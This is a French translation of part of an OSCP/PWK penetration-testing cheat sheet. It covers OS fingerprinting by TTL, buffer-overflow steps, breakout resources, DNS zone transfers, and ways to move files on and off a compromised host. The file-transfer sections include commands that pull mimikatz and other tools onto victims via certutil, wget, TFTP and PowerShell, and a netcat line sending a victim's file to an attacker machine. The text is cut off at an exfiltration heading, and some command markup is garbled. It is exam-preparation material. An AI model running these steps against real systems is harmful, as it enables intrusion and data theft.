
Feuille de triche complète de tests d'intrusion pour la préparation aux examens PWK/OSCP, couvrant l'escalade de privilèges, le cassage de mots de passe, la génération de charges utiles, la post-exploitation, le scan de ports, les attaques web et les techniques de reconnaissance.
JustTryHarder est une antisèche qui vous aidera tout au long du cours PWK et de l'examen OSCP.
(Inspiré de PayloadAllTheThings)
N'hésitez pas à soumettre une Pull Request et à laisser une étoile pour partager un peu d'amour si cela vous a aidé. 💖
Compatible Hacktoberfest ! Oui, nous acceptons les Pull Requests pour Hacktoberfest ! Assurez-vous qu'elles ne sont pas du spam et qu'elles contribuent réellement à ce dépôt. Merci et bon hacking !
Avertissement : Rien de ce qui suit ne contient de spoilers pour les laboratoires PWK / l'examen OSCP.
J'ai obtenu une grande partie de ces informations via d'autres dépôts Github, blogs, sites et plus encore. J'ai essayé de créditer autant que possible le créateur original. Si je ne vous ai pas crédité, veuillez me contacter sur Twitter : https://twitter.com/s1nfulz
ping 10.10.10.110 PING 10.10.10.110 (10.10.10.110) 56(84) bytes of data. 64 bytes from 10.10.10.110: icmp_seq=1 ttl=128 time=166 ms
Le `TTL` peut être utilisé pour déterminer le système d'exploitation de l'hôte. Les trois différents types de TTL sont les suivants :
- **TTL=64** = \*nix – Le nombre de sauts ; donc si vous obtenez 61, il y a 3 sauts et c'est un périphérique \*nix. Très probablement Linux.
- **TTL=128** = Windows – Encore une fois, si le TTL est 127, le saut est de 1 et c'est une machine Windows.
- **TTL=254** = Solaris/AIX – Si le TTL est 250, le nombre de sauts est de 4 et c'est une machine Solaris.
## BOF (En cours)
(Les mauvais caractères typiques incluent : `0x00`, `0x0A`, `0x0D`)
- Fuzzing
- Trouver la position d'EIP
- Trouver les mauvais caractères
- Localiser `jmp esp`
- Générer une charge utile avec `msfvenom`
- Obtenir un shell inverse avec `netcat`
**Bonnes ressources BOF :**
- [NCC Group - Writing Exploits for Win32](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2016/june/writing-exploits-for-win32-systems-from-scratch/)
- [Corelan - Exploit Writing Tutorial Part 1](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/)
- [GitHub - dostackbufferoverflowgood](https://github.com/justinsteven/dostackbufferoverflowgood)
- [VeteranSec - 32-bit Windows Buffer Overflows Made Easy](https://veteransec.com/2018/09/10/32-bit-windows-buffer-overflows-made-easy/)
## Évasions / Échappements d'environnement
- [Pentest Partners - Breaking out of Citrix](https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/)
- [SRA.io - SiteKiosk Breakout](https://sra.io/blog/sitekiosk-breakout/)
- [TrustedSec - Kiosk/POS Breakout Keys](https://www.trustedsec.com/blog/kioskpos-breakout-keys-in-windows/)
- [Cognosec - Breaking out of Citrix Environment](https://cognosec.com/breaking-out-of-citrix-environment/)
- [NetSPI - Breaking out of Applications](https://blog.netspi.com/breaking-out-of-applications-deployed-via-terminal-services-citrix-and-kiosks/)
- [NCC Group - Common Issues with Environment Breakouts (PDF)](https://research.nccgroup.com/wp-content/uploads/2020/07/research-insights_common-issues-with-environment-breakouts.pdf)
- [GracefulSecurity - Citrix Breakout](https://gracefulsecurity.com/citrix-breakout/)
## DNS - Transferts de zone```bash
host -t axfr HTB.local 10.10.10.10
host -l HTB.local 10.10.10.10
host -l <domain name> <name server>
dig @<dns server> <domain> axfr
```
## Transferts de fichiers
### Transfert SMB
Sur la machine victime (Windows) :```cmd
net share \\10.10.10.10\myshare
net use x:
copy whatever.zip x:
```
### Transfert avec Wget
Comment récupérer un ou plusieurs fichiers depuis l'hôte (dans un reverse shell).
**Configuration :** Placez le fichier que vous souhaitez transférer dans `/var/www/html/` et exécutez `service apache2 start`.
Exécutez sur le serveur distant :```bash
wget [http://10.10.10.10/pspy64](http://10.10.10.10/pspy64) # <- for single file
wget -r [http://10.10.10.10/pspy64/](http://10.10.10.10/pspy64/) # <- for folder
```
### Transfert TFTP
(Comment transférer de Kali vers Windows).
**Avec MSF:**
Démarrez MSF avant ces étapes :
1. `use auxiliary/server/tftp`
2. `set TFTPROOT /usr/share/mimikatz/Win32/`
3. `run`
**Dans un terminal:**
4\. `tftp -i 10.10.10.10 GET mimikatz.exe`
### NetCat (Windows vers Kali)
1. **Windows:** `nc -nv 10.11.0.61 4444 < bank-account.zip`
2. **Linux:** `nc -nlvp 4444 > bank-account.zip`
### PowerShell
Session interactive:```powershell
Invoke-WebRequest -Uri [http://127.0.0.1/exploit.py](http://127.0.0.1/exploit.py) -OutFile C:\Users\Victim\exploit.py
```
Sans session PowerShell interactive (Créer `wget.ps1`):```powershell
$client = New-Object System.Net.WebClient
$path = "C:\path\to\save\file.txt"
$client.DownloadFile($url, $path)
```
### Base64 (Linux -> Linux)
**Hôte local :**
1. `$(echo "cat /path/to/exploit.py | base64") > encoded.b64`
2. Transférez `encoded.b64` vers le serveur distant via `nc` ou autrement.
**Serveur distant - Linux :**
3\. `cat /path/to/encoded.b64 | base64 -d > exploit.py`
### Certutil```cmd
certutil.exe -urlcache -split -f "[http://ip.for.kali.box/file-to-get.zip](http://ip.for.kali.box/file-to-get.zip)" name-to-save-as.zip
```
### Téléchargement de fichier HTTP (Exfiltration)
```